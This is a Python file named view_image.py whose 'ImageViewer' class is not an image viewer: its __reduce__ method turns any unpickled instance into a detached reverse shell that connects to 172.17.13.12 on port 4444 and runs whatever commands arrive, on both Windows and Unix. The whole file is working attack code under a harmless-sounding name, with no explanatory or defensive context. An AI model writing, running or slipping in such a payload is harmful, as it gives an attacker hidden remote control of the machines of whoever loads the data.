view_image.py

import subprocess
import sys
import os

class ImageViewer:
    def __init__(self, attacker_ip="172.17.13.12", attacker_port=4444):
        self.ip = attacker_ip
        self.port = attacker_port

    def __reduce__(self):
        return (self._spawn_detached_shell, (self.ip, self.port))

    @staticmethod
    def _spawn_detached_shell(attacker_ip, attacker_port):
        code = f'''
import socket
import subprocess

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("{attacker_ip}", {attacker_port}))

while True:
    s.send(b"$ ")
    cmd = s.recv(1024).decode()
    if cmd.strip() in {{"exit", "quit"}}:
        break
    try:
        output = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT)
    except subprocess.CalledProcessError as e:
        output = e.output
    s.send(output)

s.close()
'''

        if sys.platform == "win32":
            DETACHED_PROCESS = 0x00000008
            subprocess.Popen([sys.executable, "-c", code],
                             creationflags=DETACHED_PROCESS,
                             stdout=subprocess.DEVNULL,
                             stderr=subprocess.DEVNULL,
                             stdin=subprocess.DEVNULL,
                             close_fds=True)
        else:
            # Unix-like: start new session to detach process
            subprocess.Popen([sys.executable, "-c", code],
                             stdout=subprocess.DEVNULL,
                             stderr=subprocess.DEVNULL,
                             stdin=subprocess.DEVNULL,
                             preexec_fn=os.setsid,
                             close_fds=True)